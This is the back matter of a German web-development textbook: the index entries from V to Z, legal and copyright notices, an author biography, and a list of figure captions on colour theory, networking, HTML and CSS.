Verschieben 

Dateien/Verzeichnisse auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Verschlüsselung [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

AES [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

AES-128-CBC [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

AES-128-GCM [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

Blowfish [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

CAST5 [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

CAST-128 [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

MD5 [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

symmetrische [→ 13.6 Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren]

Versionierung [→ 9.2 Die Versionierung]

einbinden [→ 9.2 Die Versionierung]

verzweigen [→ 9.2 Die Versionierung]

video [→ 5.10 Multimedia mit Audio, Video & Co.] [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

currentTime [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

duration [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

load [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API] [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

pause [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

play [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

volume [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

View [→ 11.17 Ausblick]

Viewport [→ 5.4 Die Elemente einer HTML-Seite] [→ 5.11 Meta-Informationen sind der Mehrwert von Websites] [→ 6.13 Positionierungsarten – Normal Flow vs. individuelle Positionierung]

Virtual Reality [→ 8.9 Ausblick]

Visceral Design [→ 10.2 User Experience]

Vorgängermethode [→ 12.10 Auch die Datenbank kann’s – rekursive Datenspeicherung]

W ⇑

Wahrnehmungspsychologie [→ 2.8 Ein wenig Wahrnehmungspsychologie]

WCAG (Web Content Accessibility Guidelines) [→ 10.3 Barrierefreiheit]

Wearables [→ 8.1 Die Grundlagen des Responsive Design]

Web Page / Webseite [→ 3.6 Ein paar notwendige Begriffsdefinitionen]

Webeditor [→ 4.2 Editoren]

Website [→ 3.6 Ein paar notwendige Begriffsdefinitionen]

WebVTT [→ 10.3 Barrierefreiheit]

Wellenlänge [→ 2.9 Wie Farbe wirkt]

Wertetypen 

array [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

bool [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

float [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP] [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

int [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP] [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

mixed [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

null [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

object [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

resource [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

string [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP] [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

void [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

Wertprüfung [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Wertzuweisung [→ 7.4 Die essenziellen Grundlagen der Programmierung]

WHERE [→ 12.6 Noch eine Sprache – SQL]

Whitelist [→ 13.1 Angriffsszenario 1: Cross-Site Scripting (XSS)]

Wide Gamut RGB [→ 2.9 Wie Farbe wirkt]

width [→ 6.8 Sind ja alles nur Boxen – das Box-Modell] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 8.5 Die Grundbausteine einer responsiven Site]

window [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

WOFF [→ 6.10 Das geschriebene Wort – Schriften]

word-break [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

X ⇑

x-Höhe → siehe [Gemein-Höhe]

XHTML [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

XML [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

XMLHttpRequest 

abort [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

error [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

lengthComputable [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

load [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

loadend [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

loadstart [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

progress [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

readystatechange [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

response [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

responseText [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

responseType [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

timeout [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

XSS [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

XSS → siehe [Cross-Site Scripting]

Z ⇑

Zäpfchen [→ 2.9 Wie Farbe wirkt]

Zeigegerät [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

fein [→ 8.5 Die Grundbausteine einer responsiven Site]

grob [→ 8.5 Die Grundbausteine einer responsiven Site]

Zeilenhöhe [→ 6.10 Das geschriebene Wort – Schriften]

Zend Framework [→ 11.17 Ausblick]

Zielgruppenanalyse [→ 2.4 Der User, das (un)bekannte Wesen]

z-index [→ 6.13 Positionierungsarten – Normal Flow vs. individuelle Positionierung]

Zuweisung, dekonstruierende [→ 7.4 Die essenziellen Grundlagen der Programmierung]





   
      
         
         
         Rechtliche Hinweise

         
         Das vorliegende Werk ist in all seinen Teilen urheberrechtlich geschützt. Weitere Hinweise dazu finden Sie in den Allgemeinen Geschäftsbedingungen des Anbieters, bei dem Sie das Werk erworben haben.

         
         
         
         Die automatisierte Analyse des Werkes, um daraus Informationen insbesondere über Muster,
            Trends und Korrelationen gemäß § 44b UrhG (»Text und Data Mining«) zu gewinnen, ist
            untersagt.
         

         
         
         
         
            
            
            

         
         
         
         Markenschutz

         
         Die in diesem Werk wiedergegebenen Gebrauchsnamen, Handelsnamen, Warenbezeichnungen
            usw. können auch ohne besondere Kennzeichnung Marken sein und als solche den gesetzlichen
            Bestimmungen unterliegen.
         

         
         
         
         
         
         
         Haftungsausschluss

         
         Ungeachtet der Sorgfalt, die auf die Erstellung von Text, Abbildungen und Programmen
            verwendet wurde, können weder Verlag noch Autor*innen, Herausgeber*innen, Übersetzer*innen oder Anbieter
            für mögliche Fehler und deren Folgen eine juristische Verantwortung oder irgendeine
            Haftung übernehmen.
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         Über den Autor

         
         [image: autor]Uwe Mutz ist Web-Entwickler der ersten Stunde, Geschäftsführer der SYNE Marketing & Consulting
            GmbH, Autor zahlreicher Fachbücher und Vortragender an der Universität für Weiterbildung
            Krems. Er hat Informatik und Physik studiert und zwei Lehramtsstudiengänge absolviert
            und wurde in Österreich »Trainer des Jahres in der Erwachsenenbildung«. So kann er
            die verschiedenen Gebiete, die in gute Webentwicklung einfließen, mit didaktischem
            Know-how und vielseitiger Expertise vermitteln.
Im beruflichen Alltag liegt sein Schwerpunkt auf der Entwicklung von Onlinesystemen
            mit Fokus auf User-Bedürfnisse. Ob in Vorträgen, Kursen oder im Buch: Er gibt seine
            Erfahrung und sein Wissen auf spannende und unterhaltsame Weise weiter.
         

          

         
      

      

   
      
         Dokumentenarchiv

         Das Dokumentenarchiv umfasst alle Abbildungen und ggf. Tabellen und Fußnoten dieses
            E-Books im Überblick.
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            Erste statistische Daten zur Onlinebanking-Nutzung in Österreich für die Jahre 2007 bis 2021. Diese Daten bilden einen ersten Ansatz für unsere weiteren Über-legungen. (Quelle: www.statista.de, abgerufen am 2.12.2022)
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                           Abbildung 2.2    
            Und schon haben wir ein paar demografische Daten zu unserem Vorhaben. 
(Quelle: www.statista.de, abgerufen am 2.12.2022)
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            Die Sinus-Milieus für Deutschland
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                           Abbildung 2.4    
            Die Sinus-Milieus für Österreich.
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                           Abbildung 2.5    
            Personas sind fiktive, aber doch sehr reale Personen. Sie helfen uns, uns besser auf die Zielgruppe einzustellen und uns in diese hineinzuversetzen.
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            Die Website von Marshall Headphones
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            Das neue iPhone auf der Apple-Site
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                           Abbildung 2.8    
            Bowers & Wilkins vereinen Kunst und Klangerlebnis.
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            Ducati ist Leidenschaft, Lifestyle und großartige Technik.
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            Alfa Romeo und der Mythos italienischer Autos
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                           Abbildung 2.11    
            Ein Vergleich von Trainingstagebuch-Apps samt deren Websites
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                           Abbildung 2.12    
            Die grafische Darstellung der Konkurrenzanalyse ist weit übersichtlicher.
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                           Abbildung 2.13    
            Eine gute Content Strategy umfasst die Punkte der Planung, des Kreierens, des Publizierens und des Wartens. Dann und wann muss man sich von einem Content jedoch auch wieder verabschieden.
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                           Abbildung 2.14    
            Das sichtbare Licht als Teil eines sehr breiten Spektrums an Wellen 
(Quelle: von Horst Frank / Phrood / Anony – Horst Frank, Jailbird and Phrood, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=3726606)

                           
                        

                    
                        
                           [image: Empfindlichkeit der Zäpfchen und Stäbchen des menschlichen Auges. Die farbig dargestellten Kurven zeigen die Empfindlichkeit der Zäpfchen, die schwarz strichlierte Kurve zeigt die Empfindlichkeit der Stäbchen. (Quelle: Cone-response.svg: w:User:DrBob and w:User:Zeimusuderivative work: Sgbeer, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)]
                           

                           Abbildung 2.15    
            Empfindlichkeit der Zäpfchen und Stäbchen des menschlichen Auges. Die farbig dargestellten Kurven zeigen die Empfindlichkeit der Zäpfchen, die schwarz strichlierte Kurve zeigt die Empfindlichkeit der Stäbchen. 
(Quelle: Cone-response.svg: w:User:DrBob and w:User:Zeimusuderivative work: Sgbeer, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)

                           
                        

                    
                        
                           [image: Korrektur der Empfindlichkeitskurven der drei Farbrezeptoren (Zäpfchen) (Quelle: Torge Anders, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)]
                           

                           Abbildung 2.16    
            Korrektur der Empfindlichkeitskurven der drei Farbrezeptoren (Zäpfchen) 
(Quelle: Torge Anders, CC BY-SA 3.0 http://creativecommons.org/licenses/by-sa/3.0/, via Wikimedia Commons)

                           
                        

                    
                        
                           [image: CIE-Farbtafel (Quelle: Von Torge Anders, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14869199)]
                           

                           Abbildung 2.17    
            CIE-Farbtafel 
(Quelle: Von Torge Anders, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14869199)
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                           [image: Farben und was man (in der westlichen Welt) mit ihnen verbindet]
                           

                           Abbildung 2.18    
            Farben und was man (in der westlichen Welt) mit ihnen verbindet

                           
                        

                    
                        
                           [image: Abdeckung der wahrnehmbaren Farben (CIE-Farbraum) durch unterschiedliche Farbmodelle.(Quelle: Von de:Benutzer:DiplomBastler - selbst vektorisiert, Vorlage: Bitmap von de:Benutzer:DiplomBastler, gemeinfrei, https://commons.wikimedia.org/w/index.php?curid=40319656)]
                           

                           Abbildung 2.19    
            Abdeckung der wahrnehmbaren Farben (CIE-Farbraum) durch unterschiedliche Farbmodelle.
(Quelle: Von de:Benutzer:DiplomBastler - selbst vektorisiert, Vorlage: Bitmap von de:Benutzer:DiplomBastler, gemeinfrei, https://commons.wikimedia.org/w/index.php?curid=40319656)

                           
                        

                    
                        
                           [image: Der HSV-Farbraum in Form eines auf der Spitze stehenden Kegels(Quelle: Von (3ucky(3all - Uploaded to en:File:HSV cone.png first (see associated log) by (3ucky(3all; then transfered to Commons by Moongateclimber, CC BY-SA 3.0,  https://commons.wikimedia.org/w/index.php?curid=943857)]
                           

                           Abbildung 2.20    
            Der HSV-Farbraum in Form eines auf der Spitze stehenden Kegels
(Quelle: Von (3ucky(3all - Uploaded to en:File:HSV cone.png first (see associated log) by (3ucky(3all; then transfered to Commons by Moongateclimber, CC BY-SA 3.0,  https://commons.wikimedia.org/w/index.php?curid=943857)

                           
                        

                    
                        
                           [image: Das HSL-Farbmodell als Doppelkegel.(Quelle: SharkD, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons)]
                           

                           Abbildung 2.21    
            Das HSL-Farbmodell als Doppelkegel.
(Quelle: SharkD, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons)

                           
                        

                    
                        
                           [image: Links sehen Sie das Bild mit 24 Bit Farbtiefe (ca. 16,8 Millionen Farben); rechts sehen Sie dasselbe Bild mit 2 Bit Farbtiefe (4 Farben): Die fehlenden Farben werden durch punktiertes Vermischen der bestehenden Farben erzeugt.]
                           

                           Abbildung 2.22    
            Links sehen Sie das Bild mit 24 Bit Farbtiefe (ca. 16,8 Millionen Farben); rechts sehen Sie dasselbe Bild mit 2 Bit Farbtiefe (4 Farben): Die fehlenden Farben werden durch punktiertes Vermischen der bestehenden Farben erzeugt.

                           
                        

                    
                        
                           [image: Die Farbhelligkeit von Gelb liegt bei 97 %.]
                           

                           Abbildung 2.23    
            Die Farbhelligkeit von Gelb liegt bei 97 %.

                           
                        

                    
                        
                           [image: Ein Screenshot der Site www.lordz.ch zeigt die Farbwirkung von Gelb.]
                           

                           Abbildung 2.24    
            Ein Screenshot der Site www.lordz.ch zeigt die Farbwirkung von Gelb.

                           
                        

                    
                        
                           [image: Das Farbrad von Adobe ist ein recht nützliches Hilfsmittel, um Farbsets zu definieren.]
                           

                           Abbildung 2.25    
            Das Farbrad von Adobe ist ein recht nützliches Hilfsmittel, um Farbsets zu definieren.

                           
                        

                    
                        
                           [image: Das Herzstück eines jeden Unternehmens: die Corporate Identity]
                           

                           Abbildung 2.26    
            Das Herzstück eines jeden Unternehmens: die Corporate Identity

                           
                        

                    
                        
                           [image: Die sieben Schichten des OSI-Modells]
                           

                           Abbildung 3.1    
            Die sieben Schichten des OSI-Modells

                           
                        

                    
                        
                           [image: Die regionalen Verwaltungsbereiche der IP-Adressen.(Quelle: Von Rir.gif: DorkBlankMap-World6,_compact.svg: Canuckguy et al.derivative work: Sémhur (talk) - Rir.gifBlankMap-World6,_compact.svg, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5810575)]
                           

                           Abbildung 3.2    
            Die regionalen Verwaltungsbereiche der IP-Adressen.
(Quelle: Von Rir.gif: DorkBlankMap-World6,_compact.svg: Canuckguy et al.derivative work: Sémhur (talk) - Rir.gifBlankMap-World6,_compact.svg, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5810575)

                           
                        

                    
                        
                           [image: Freie IP-Adressen.(Quelle: Von Mro - Based on data from http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml and http://bgp.potaroo.net/ipv4-stats/prefixes.txt, CC BY‐SA 4.0, https://commons.wikimedia.org/w/index.php?curid=10593349)]
                           

                           Abbildung 3.3    
            Freie IP-Adressen.
(Quelle: Von Mro - Based on data from http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml and http://bgp.potaroo.net/ipv4-stats/prefixes.txt, CC BY‐SA 4.0, https://commons.wikimedia.org/w/index.php?curid=10593349)

                           
                        

                    
                        
                           [image: Der Ablauf beim Aufruf einer Website (ohne Angabe eines Dokuments) im Browser (Client) des Users]
                           

                           Abbildung 3.4    
            Der Ablauf beim Aufruf einer Website (ohne Angabe eines Dokuments) im Browser (Client) des Users

                           
                        

                    
                        
                           [image: Das Control Panel von XAMPP unter macOS. Derzeit ist kein Dienst (Server) gestartet, was an den roten Icons erkennbar ist.]
                           

                           Abbildung 4.1    
            Das Control Panel von XAMPP unter macOS. Derzeit ist kein Dienst (Server) gestartet, was an den roten Icons erkennbar ist.

                           
                        

                    
                        
                           [image: Der HTML-Validator des W3-Konsortiums ist ein kleines, aber feines Tool zum Prüfen des eigenen (oder auch fremden) HTML-Codes.]
                           

                           Abbildung 4.2    
            Der HTML-Validator des W3-Konsortiums ist ein kleines, aber feines Tool zum Prüfen des eigenen (oder auch fremden) HTML-Codes.

                           
                        

                    
                        
                           [image: Nach der Überprüfung des HTML-Codes liefert der Validator das Ergebnis »No errors or warnings to show«.]
                           

                           Abbildung 4.3    
            Nach der Überprüfung des HTML-Codes liefert der Validator das Ergebnis »No errors or warnings to show«.

                           
                        

                    
                        
                           [image: Der Code sieht an sich gut aus, jedoch färbt der Editor ihn »eigenwillig« ein. Der Grund ist ein nicht geschlossenes Anführungszeichen.]
                           

                           Abbildung 4.4    
            Der Code sieht an sich gut aus, jedoch färbt der Editor ihn »eigenwillig« ein. Der Grund ist ein nicht geschlossenes Anführungszeichen.

                           
                        

                    
                        
                           [image: Nachdem der fehlerhafte Code korrigiert wurde, stimmt das Code-Highlighting wieder.]
                           

                           Abbildung 4.5    
            Nachdem der fehlerhafte Code korrigiert wurde, stimmt das Code-Highlighting wieder.

                           
                        

                    
                        
                           [image: HTML (bis 4.01) und XML stammen beide von SGML ab.]
                           

                           Abbildung 5.1    
            HTML (bis 4.01) und XML stammen beide von SGML ab.

                           
                        

                    
                        
                           [image: Der DokumentbaumDokumentbaum stellt die »Familienverhältnisse« unserer HTML-Elemente dar. Pro Kind (HTML-Element) existiert jedoch nur ein Elternteil.]
                           

                           Abbildung 5.2    
            Der Dokumentbaum stellt die »Familienverhältnisse« unserer HTML-Elemente dar. Pro Kind (HTML-Element) existiert jedoch nur ein Elternteil.

                           
                        

                    
                        
                           [image: Der um Attributknoten (grün) und Textknoten (blau) erweiterte Dokumentbaum]
                           

                           Abbildung 5.3    
            Der um Attributknoten (grün) und Textknoten (blau) erweiterte Dokumentbaum

                           
                        

                    
                        
                           [image: Eine unnummerierte Liste (unordered list) mit drei Listenpunkten]
                           

                           Abbildung 5.4    
            Eine unnummerierte Liste (unordered list) mit drei Listenpunkten

                           
                        

                    
                        
                           [image: Eine nummerierte Liste (ordered list) mit ebenfalls drei Listenpunkten. Der Code unterscheidet sich von der unnummerierten Liste lediglich durch den umgebenden Container: <ol> anstatt <ul>.]
                           

                           Abbildung 5.5    
            Eine nummerierte Liste (ordered list) mit ebenfalls drei Listenpunkten. Der Code unterscheidet sich von der unnummerierten Liste lediglich durch den umgebenden Container: <ol> anstatt <ul>.

                           
                        

                    
                        
                           [image: Eine Assoziationsliste in Form eines Frage-Antwort-Spiels]
                           

                           Abbildung 5.6    
            Eine Assoziationsliste in Form eines Frage-Antwort-Spiels

                           
                        

                    
                        
                           [image: Eine Assoziationsliste mit mehreren <dt>-Elementen hintereinander, um feinere Unterteilungen zu erzeugen (ähnlich der Überschriften)]
                           

                           Abbildung 5.7    
            Eine Assoziationsliste mit mehreren <dt>-Elementen hintereinander, um feinere Unterteilungen zu erzeugen (ähnlich der Überschriften)

                           
                        

                    
                        
                           [image: Ein Beispiel einer verschachtelten Liste. In diesem Fall beinhaltet der Listenpunkt mit der Beschriftung »Zweiter Punkt« eine (vollständige) unnummerierte Liste mit zwei Listenpunkten.]
                           

                           Abbildung 5.8    
            Ein Beispiel einer verschachtelten Liste. In diesem Fall beinhaltet der Listenpunkt mit der Beschriftung »Zweiter Punkt« eine (vollständige) unnummerierte Liste mit zwei Listenpunkten.

                           
                        

                    
                        
                           [image: Die Darstellung einer Tabelle ohne per CSS zugeordnete Formatierung ist wenig erquickend.]
                           

                           Abbildung 5.9    
            Die Darstellung einer Tabelle ohne per CSS zugeordnete Formatierung ist wenig erquickend.

                           
                        

                    
                        
                           [image: Auch der unerwünschte Einsatz des border-Attributs erzeugt keine wesentlich schönere Formatierung der Tabelle, aber zumindest ist diese nun zu erkennen.]
                           

                           Abbildung 5.10    
            Auch der unerwünschte Einsatz des border-Attributs erzeugt keine wesentlich schönere Formatierung der Tabelle, aber zumindest ist diese nun zu erkennen.

                           
                        

                    
                        
                           [image: Zellen von Tabellen können in horizontaler (wie auch vertikaler) Richtung verbunden werden.]
                           

                           Abbildung 5.11    
            Zellen von Tabellen können in horizontaler (wie auch vertikaler) Richtung verbunden werden.

                           
                        

                    
                        
                           [image: Horizontale wie vertikale Verbindungen von Zellen]
                           

                           Abbildung 5.12    
            Horizontale wie vertikale Verbindungen von Zellen

                           
                        

                    
                        
                           [image: Ein Fett-Schreiben von Zelleninhalten macht noch keine Überschriftenzellen aus!]
                           

                           Abbildung 5.13    
            Ein Fett-Schreiben von Zelleninhalten macht noch keine Überschriftenzellen aus!

                           
                        

                    
                        
                           [image: Auszeichnung von Überschriftenzellen als Table Header]
                           

                           Abbildung 5.14    
            Auszeichnung von Überschriftenzellen als Table Header

                           
                        

                    
                        
                           [image: Tabellen mit Beschriftungen sind besser verständlich – und zwar sowohl für den sehenden als auch für den nicht sehenden Betrachter.]
                           

                           Abbildung 5.15    
            Tabellen mit Beschriftungen sind besser verständlich – und zwar sowohl für den sehenden als auch für den nicht sehenden Betrachter.

                           
                        

                    
                        
                           [image: Bildkomprimierung mittels Farbveränderung]
                           

                           Abbildung 5.16    
            Bildkomprimierung mittels Farbveränderung

                           
                        

                    
                        
                           [image: Bildkomprimierung: Die zu speichernden Farbwerte sind entsprechend gekennzeichnet. Es ergeben sich 51 zu speichernde Werte.]
                           

                           Abbildung 5.17    
            Bildkomprimierung: Die zu speichernden Farbwerte sind entsprechend gekennzeichnet. Es ergeben sich 51 zu speichernde Werte.

                           
                        

                    
                        
                           [image: Bei einer Pixeldichte von 10 ppi liegen zehn Pixel in einem Zoll (Inch). Dementsprechend ist die Größe eines Pixels ein Zehntel eines Zoll. Verringert man die Pixeldichte auf die Hälfte, so liegen zehn Pixel auf zwei Zoll; dementsprechend ergibt sich eine Pixeldichte von 5 ppi (rechts in vergrößerter Darstellung).]
                           

                           Abbildung 5.18    
            Bei einer Pixeldichte von 10 ppi liegen zehn Pixel in einem Zoll (Inch). Dementsprechend ist die Größe eines Pixels ein Zehntel eines Zoll. Verringert man die Pixeldichte auf die Hälfte, so liegen zehn Pixel auf zwei Zoll; dementsprechend ergibt sich eine Pixeldichte von 5 ppi (rechts in vergrößerter Darstellung).

                           
                        

                    
                        
                           [image: Darstellung unterschiedlicher Device-Pixel-Ratios]
                           

                           Abbildung 5.19    
            Darstellung unterschiedlicher Device-Pixel-Ratios

                           
                        

                    
                        
                           [image: Eine fiktive Verzeichnisstruktur]
                           

                           Abbildung 5.20    
            Eine fiktive Verzeichnisstruktur

                           
                        

                    
                        
                           [image: Das base64-kodierte Bild ist in der Datenmenge um ca. 20 bis 30 % größer, erzeugt aber dafür keinen Request am Server.]
                           

                           Abbildung 5.21    
            Das base64-kodierte Bild ist in der Datenmenge um ca. 20 bis 30 % größer, erzeugt aber dafür keinen Request am Server.

                           
                        

                    
                        
                           [image: Beispiel für eine Verzeichnisstruktur]
                           

                           Abbildung 5.22    
            Beispiel für eine Verzeichnisstruktur

                           
                        

                    
                        
                           [image: Die technische Dokumentation von Elementen gibt Auskunft darüber, wie Elemente verwendet werden dürfen.]
                           

                           Abbildung 5.23    
            Die technische Dokumentation von Elementen gibt Auskunft darüber, wie Elemente verwendet werden dürfen.

                           
                        

                    
                        
                           [image: Die Website von Apple ist in Hinblick auf ihre Struktur sehr klar und gut erkennbar.]
                           

                           Abbildung 5.24    
            Die Website von Apple ist in Hinblick auf ihre Struktur sehr klar und gut erkennbar.

                           
                        

                    
                        
                           [image: Ohne viel anzupassen, könnte man die Apple-Website in diejenige von DJI umbasteln. Ob das an der Copy-and-paste-Politik liegen kann? Tja, wer weiß das schon ...]
                           

                           Abbildung 5.25    
            Ohne viel anzupassen, könnte man die Apple-Website in diejenige von DJI umbasteln. Ob das an der Copy-and-paste-Politik liegen kann? Tja, wer weiß das schon ...

                           
                        

                    
                        
                           [image: Die Content-Strategie von Red Bull ist naturgemäß eine etwas andere als diejenige von Apple oder DJI, da Red Bull hier keine Produkte, sondern vordergründig Erlebnisse, Lifestyle, Action & Co. verkauft. Was Red Bull tatsächlich verkauft, steht auf einem anderen Blatt.]
                           

                           Abbildung 5.26    
            Die Content-Strategie von Red Bull ist naturgemäß eine etwas andere als diejenige von Apple oder DJI, da Red Bull hier keine Produkte, sondern vordergründig Erlebnisse, Lifestyle, Action & Co. verkauft. Was Red Bull tatsächlich verkauft, steht auf einem anderen Blatt.

                           
                        

                    
                        
                           [image: Kommt ohne überflüssigen HTML-Code aus: trainingstagebuch.fitness]
                           

                           Abbildung 5.27    
            Kommt ohne überflüssigen HTML-Code aus: trainingstagebuch.fitness

                           
                        

                    
                        
                           [image: Als waschechte Newsseite hat orf.at gutes Potenzial, semantisch korrekten Code zu generieren.]
                           

                           Abbildung 5.28    
            Als waschechte Newsseite hat orf.at gutes Potenzial, semantisch korrekten Code zu generieren.

                           
                        

                    
                        
                           [image: Auf der Artikeldetailseite lässt orf.at es mit der Semantik krachen.]
                           

                           Abbildung 5.29    
            Auf der Artikeldetailseite lässt orf.at es mit der Semantik krachen.

                           
                        

                    
                        
                           [image: Die geschlossene Darstellung von <details> ...]
                           

                           Abbildung 5.30    
            Die geschlossene Darstellung von <details> ...

                           
                        

                    
                        
                           [image: ... und hier die geöffnete Variante.]
                           

                           Abbildung 5.31    
            ... und hier die geöffnete Variante.

                           
                        

                    
                        
                           [image: Das Element <summary> darf auch Überschriften enthalten. Wird es entsprechend als inline-Element formatiert, gliedert sich die Überschrift perfekt ein.]
                           

                           Abbildung 5.32    
            Das Element <summary> darf auch Überschriften enthalten. Wird es entsprechend als inline-Element formatiert, gliedert sich die Überschrift perfekt ein.

                           
                        

                    
                        
                           [image: Auch HTML-Inhalt bereitet dem <details>-Element keine Sorgen. Außerdem erweitern sich die Möglichkeiten für den Einsatz enorm.]
                           

                           Abbildung 5.33    
            Auch HTML-Inhalt bereitet dem <details>-Element keine Sorgen. Außerdem erweitern sich die Möglichkeiten für den Einsatz enorm.

                           
                        

                    
                        
                           [image: Ein sehr gängiges Formular für den Login auf einer Website – von der fehlenden Formatierung einmal abgesehen]
                           

                           Abbildung 5.34    
            Ein sehr gängiges Formular für den Login auf einer Website – von der fehlenden Formatierung einmal abgesehen

                           
                        

                    
                        
                           [image: Radio-Buttons und Checkbox]
                           

                           Abbildung 5.35    
            Radio-Buttons und Checkbox

                           
                        

                    
                        
                           [image: Select-Boxen für die Einfach- oder Mehrfachauswahl]
                           

                           Abbildung 5.36    
            Select-Boxen für die Einfach- oder Mehrfachauswahl

                           
                        

                    
                        
                           [image: Die syntaktische Überprüfung von Eingabefeldern verhindert eine fehlerhafte Eingabe.]
                           

                           Abbildung 5.37    
            Die syntaktische Überprüfung von Eingabefeldern verhindert eine fehlerhafte Eingabe.

                           
                        

                    
                        
                           [image: Eine Auswahl der wichtigsten <input>-Elementtypen]
                           

                           Abbildung 5.38    
            Eine Auswahl der wichtigsten <input>-Elementtypen

                           
                        

                    
                        
                           [image: Weniger bedeutsame Typen von <input>-Elementen]
                           

                           Abbildung 5.39    
            Weniger bedeutsame Typen von <input>-Elementen

                           
                        

                    
                        
                           [image: Der eingeblendete Dialog lässt den User entscheiden, ob er den ausgewählten Text tatsächlich (vom Browserinhalt) löschen möchte.]
                           

                           Abbildung 5.40    
            Der eingeblendete Dialog lässt den User entscheiden, ob er den ausgewählten Text tatsächlich (vom Browserinhalt) löschen möchte.

                           
                        

                    
                        
                           [image: Die Antwortkopfzeilen eines Servers nach einer Anfrage]
                           

                           Abbildung 5.41    
            Die Antwortkopfzeilen eines Servers nach einer Anfrage

                           
                        

                    
                        
                           [image: Der Darstellungsvorgang einer Website in Hinblick auf CSS (für die vorangehenden Schritte siehe )]
                           

                           Abbildung 6.1    
            Der Darstellungsvorgang einer Website in Hinblick auf CSS (für die vorangehenden Schritte siehe Abschnitt 3.4)

                           
                        

                    
                        
                           [image: Individuelle User-Einstellungen, die vom Browser berücksichtigt werden sollen]
                           

                           Abbildung 6.2    
            Individuelle User-Einstellungen, die vom Browser berücksichtigt werden sollen

                           
                        

                    
                        
                           [image: Die Datei »gemeinsam.css« wird von den drei HTML-Dokumenten »a.html«, »b.html« und »c.html« eingebettet.]
                           

                           Abbildung 6.3    
            Die Datei »gemeinsam.css« wird von den drei HTML-Dokumenten »a.html«, »b.html« und »c.html« eingebettet.

                           
                        

                    
                        
                           [image: Alle Personen am Spielfeld sind gleichwertig. Den Schiedsrichter erkennen wir lediglich daran, dass er keine Nummer trägt. Dafür kommen manche Nummern doppelt vor (z. B. 9, 10, 11).]
                           

                           Abbildung 6.4    
